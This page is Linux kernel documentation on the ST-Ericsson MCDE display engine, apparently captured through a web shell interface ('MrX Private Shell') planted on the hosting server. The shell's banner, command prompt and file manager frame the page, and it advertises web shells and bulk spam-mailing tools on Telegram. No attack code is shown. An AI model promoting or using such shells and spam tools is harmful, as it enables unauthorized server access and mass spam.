__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.52: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>drm/mcde ST-Ericsson MCDE Multi-channel display engine &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="drm/meson AmLogic Meson Video Processing Unit" href="meson.html" />
    <link rel="prev" title="UAPI" href="imagination/uapi.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/gpu/mcde.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="drm-mcde-st-ericsson-mcde-multi-channel-display-engine">
<h1>drm/mcde ST-Ericsson MCDE Multi-channel display engine<a class="headerlink" href="#drm-mcde-st-ericsson-mcde-multi-channel-display-engine" title="Link to this heading">¶</a></h1>
<p>The MCDE (short for multi-channel display engine) is a graphics
controller found in the Ux500 chipsets, such as NovaThor U8500.
It was initially conceptualized by ST Microelectronics for the
successor of the Nomadik line, STn8500 but productified in the
ST-Ericsson U8500 where is was used for mass-market deployments
in Android phones from Samsung and Sony Ericsson.</p>
<p>It can do 1080p30 on SDTV CCIR656, DPI-2, DBI-2 or DSI for
panels with or without frame buffering and can convert most
input formats including most variants of RGB and YUV.</p>
<p>The hardware has four display pipes, and the layout is a little
bit like this:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>Memory     -&gt; Overlay -&gt; Channel -&gt; FIFO -&gt; 8 formatters -&gt; DSI/DPI
External      0..5       0..3       A,B,    6 x DSI         bridge
source 0..9                         C0,C1   2 x DPI
</pre></div>
</div>
<p>FIFOs A and B are for LCD and HDMI while FIFO CO/C1 are for
panels with embedded buffer.
6 of the formatters are for DSI, 3 pairs for VID/CMD respectively.
2 of the formatters are for DPI.</p>
<p>Behind the formatters are the DSI or DPI ports that route to
the external pins of the chip. As there are 3 DSI ports and one
DPI port, it is possible to configure up to 4 display pipelines
(effectively using channels 0..3) for concurrent use.</p>
<p>In the current DRM/KMS setup, we use one external source, one overlay,
one FIFO and one formatter which we connect to the simple DMA framebuffer
helpers. We then provide a bridge to the DSI port, and on the DSI port
bridge we connect hang a panel bridge or other bridge. This may be subject
to change as we exploit more of the hardware capabilities.</p>
<p>TODO:</p>
<ul class="simple">
<li><p>Enabled damaged rectangles using <a class="reference internal" href="drm-kms.html#c.drm_plane_enable_fb_damage_clips" title="drm_plane_enable_fb_damage_clips"><code class="xref c c-func docutils literal notranslate"><span class="pre">drm_plane_enable_fb_damage_clips()</span></code></a>
so we can selectively just transmit the damaged area to a
command-only display.</p></li>
<li><p>Enable mixing of more planes, possibly at the cost of moving away
from using the simple framebuffer pipeline.</p></li>
<li><p>Enable output to bridges such as the AV8100 HDMI encoder from
the DSI bridge.</p></li>
</ul>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/gpu/mcde.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
amdgpu Folder 0755
bridge Folder 0755
imagination Folder 0755
nova Folder 0755
rfc Folder 0755
xe Folder 0755
afbc.html File 18.3 KB 0644
automated_testing.html File 17.37 KB 0644
backlight.html File 46.97 KB 0644
driver-uapi.html File 465.42 KB 0644
drivers.html File 44.63 KB 0644
drm-client.html File 56.03 KB 0644
drm-compute.html File 10.65 KB 0644
drm-internals.html File 278.54 KB 0644
drm-kms-helpers.html File 2 MB 0644
drm-kms.html File 1.36 MB 0644
drm-mm.html File 1.03 MB 0644
drm-uapi.html File 236.88 KB 0644
drm-usage-stats.html File 20.29 KB 0644
drm-vm-bind-async.html File 28.12 KB 0644
drm-vm-bind-locking.html File 57.14 KB 0644
i915.html File 643.37 KB 0644
implementation_guidelines.html File 11.4 KB 0644
index.html File 131.32 KB 0644
introduction.html File 20.55 KB 0644
komeda-kms.html File 74.2 KB 0644
mcde.html File 10.4 KB 0644
meson.html File 16.81 KB 0644
msm-crash-dump.html File 9.44 KB 0644
msm-preemption.html File 11 KB 0644
nouveau.html File 12.63 KB 0644
panfrost.html File 9.98 KB 0644
panthor.html File 10.44 KB 0644
pl111.html File 9 KB 0644
tegra.html File 68.04 KB 0644
todo.html File 67.35 KB 0644
tve200.html File 8.64 KB 0644
v3d.html File 11.2 KB 0644
vc4.html File 19.26 KB 0644
vga-switcheroo.html File 65.4 KB 0644
vgaarbiter.html File 35.58 KB 0644
vkms.html File 18.06 KB 0644
xen-front.html File 10.71 KB 0644
zynqmp.html File 135.56 KB 0644
Filemanager